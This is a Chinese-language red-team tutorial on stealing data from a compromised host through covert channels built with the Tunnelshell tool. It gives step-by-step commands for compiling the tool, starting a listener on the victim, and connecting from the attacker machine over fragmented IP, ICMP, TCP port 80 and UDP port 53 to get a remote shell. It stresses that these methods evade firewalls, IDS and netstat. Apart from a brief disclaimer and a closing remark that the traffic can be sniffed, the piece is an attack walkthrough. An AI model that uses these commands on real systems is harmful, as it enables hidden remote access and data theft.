通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

通常,黑客會使用隱蔽網絡來躲避防火牆和IDS等。在本文中,你將學習如何通過不可檢測的網絡從目標主機竊取數據。這種類型的網絡被稱為隱蔽信道,而這些流量在網絡監控設備/應用和網絡管理員看來像是一般的正常流量。兩個端點用戶可以利用隱蔽信道,進行無法被檢測到的網絡通信。

紅隊通過合法的網絡使用隱蔽信道在紅隊活動中進行數據洩露,數據洩漏是在兩個端點之間秘密共享數據的過程。

聲明:本文僅用於技術探討,嚴禁用於其他用途。

什麼是隱蔽信道(covert channel)?

隱蔽一詞意味著“隱藏或不可檢測”,而信道是“通信模式”,因此隱蔽信道表示不可檢測的通信網絡。瞭解加密通信和隱蔽通信之間的區別非常重要。在隱蔽通信中,數據流被未經授權的一方篡改和持久。然而,加密通信並不掩蓋通過加密在兩個端點之間傳輸的數據進行通信的事實。

covert channel 的類型

網絡隱蔽存儲信道:發送者直接或間接些目標值,接收者直接或間接接讀目標值。

網絡隱蔽時間信道:發送者通過時域上調製使用資源(例如CPU)發送信息,接收者能夠觀測到並對信息進行解碼。

與存儲隱蔽信道相比,時間隱蔽信道又稱為無記憶通道,它不能長久存儲信息。發送者發送的信息接收者必須及時接受,否則傳送的信息將會消失。

使用 Tunnelshell 進行隱蔽信道攻擊

幾乎可以使用任何協議來建立隱蔽信道。絕大多數隱蔽信道研究都是基於第3層(網絡)和第4層(傳輸)協議,如ICMP,IP和TCP。經常使用的還有第7層(應用)協議諸如HTTP和DNS。這種機制用於在不提醒網絡防火牆和IDS的情況下傳送信息,而且netstat無法檢測到。

Tunnelshell 簡介

Tunnelshell是一個用C編寫的程序適用於Linux用戶,它使用客戶端 – 服務器範例。服務器打開/bin/sh客戶端可以通過虛擬隧道進行訪問。它支持多種協議,包括TCP,UDP,ICMP和RawIP。此外,數據包可以分段處理以躲避防火牆和IDS的檢測。

實驗環境

服務器(Kali Linux)

客戶端(Ubuntu18.04)

Tunnelshell

這裡,假設我們已經通過c2服務器與受害者機器建立了會話。現在,我們需要為數據洩露創建一個隱藏的信道,因此我們需要在兩個端點上安裝tunnelshell。

下載後,解壓縮文件並進行編譯,如下所示:

tar xvfz tunnelshell_2.3.tgz
make
通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

同樣,在另一個端點(受害者的機器)重複相同的操作,完成後在終端中執行以下命令,打開服務器的信道(Attacker)。

sudo ./tunneld

默認情況下,它會發送分段數據包,該數據包會在目標端點重組以躲避防火牆和IDS。

通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

現在要與tunnelshell連接,我們需要在服務器(攻擊者的機器)上執行以下命令,該命令將建立用於數據洩露的隱蔽信道。

語法: ./tunnel -i <session> -d -s <packet> -t <tunnel> -o <protocol> -p <port> -m <icmp> -a /<icmp>/<port>/<protocol>/<tunnel>/<packet>/<session>

./tunnel -t frag 10.10.10.2

frag:使用IPv4分段數據包來封裝數據。當某些路由器和防火牆(如Cisco路由器和默認Linux安裝)收到第四層沒有標頭的分段數據包時,即使它們有拒絕它的規則,也會允許它們通過。可以看到它已成功連接到10.10.10.2,我們將訪問受害者機器的shell。

通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

正如我說的那樣,如果你使用network statics檢查網絡連接狀態,你將不會看到任何關於tunnelshell的進程ID。從下圖中你可以看到,在ps命令的幫助下我已經檢查了tunnelshell的進程,並嘗試通過netstat檢查其進程ID。

ps |grep .tunneld
netstat –ano
通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

讓我們通過Wireshark來看看10.10.10.1(攻擊者的IP)和10. 10.10.2(受害者的IP)之間產生的網絡流量。網絡流在兩個端點之間看起來像是一般的流量,但如果正確監視,則網絡管理員可以嗅探到數據包。正如你所看到的,Wireshark捕獲了隱蔽的流量並嗅探到了在兩個端點設備之間傳輸的數據。

通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

隱蔽的 ICMP 信道

我們知道Ping是使用ICMP通信的,通過發出icmp echo request包,收到icmp echo reply包在兩臺主機之間建立連接。因此,執行以下命令:

sudo ./tunneld -t icmp -m echo-reply, echo
通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

現在要與tunnelshell連接,我們需要在服務器(攻擊者的機器)上執行以下命令,該命令將建立用於數據洩露的隱蔽信道。

./tunnel -t icmp -m echo-reply,echo 10.10.10.2

正如你看到的它已成功連接到10.10.10.2,並且攻擊者能夠訪問受害者計算機的shell。

通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

同樣,如果你通過Wireshark捕獲流量,那麼你將會注意到ICMP echo request和reply數據包正在兩個端點之間傳輸。如果你嘗試分析這些數據包,那麼你將能夠看到哪種payload被作為ICMP數據正在傳輸。

通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

隱蔽的 HTTP 信道

在沒有三步握手的情況下它建立了一個虛擬的TCP連接,也不綁定任何端口,因此你可以使用已經由另一個進程使用的端口,執行以下命令:

sudo ./tunneld -t tcp -p 80,2000
通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

現在要與tunnelshell連接,我們需要在服務器(攻擊者的機器)上執行以下命令,該命令將建立用於數據洩露的隱蔽信道。

./tunnel -t tcp -p 80,2000 10.10.10.2

正如你看到的,它已成功連接到了10.10.10.2,並且攻擊者能夠再次訪問受害者計算機的shell。

通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

通過網絡流量你可以看到源和目標之間建立了tcp通信,但並沒有真正的三步握手。

通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

隱蔽的 DNS 信道

要建立DNS隱蔽信道,我們需要在兩個端點機器上運行UDP隧道模式。因此,在受害者的機器上我們執行以下命令:

sudo ./tunneld -t udp -p 53,2000
通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

同樣,在你的(攻擊者)機器上執行以下命令以連接隧道。

./tunnel -t udp -p 53,2000 10.10.10.2
通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

正如你所看到的,DNS錯誤數據包包含在兩個端點機器之間傳輸的數據。

通過無法檢測到的網絡(Covert Channel)從目標主機獲取數據

總結

隱蔽信道在數據洩露時不會發送加密的數據包,因此它很容易被嗅探到,網絡管理員可以輕鬆的進行數據丟失防護和風險管理。


分享到:


相關文章: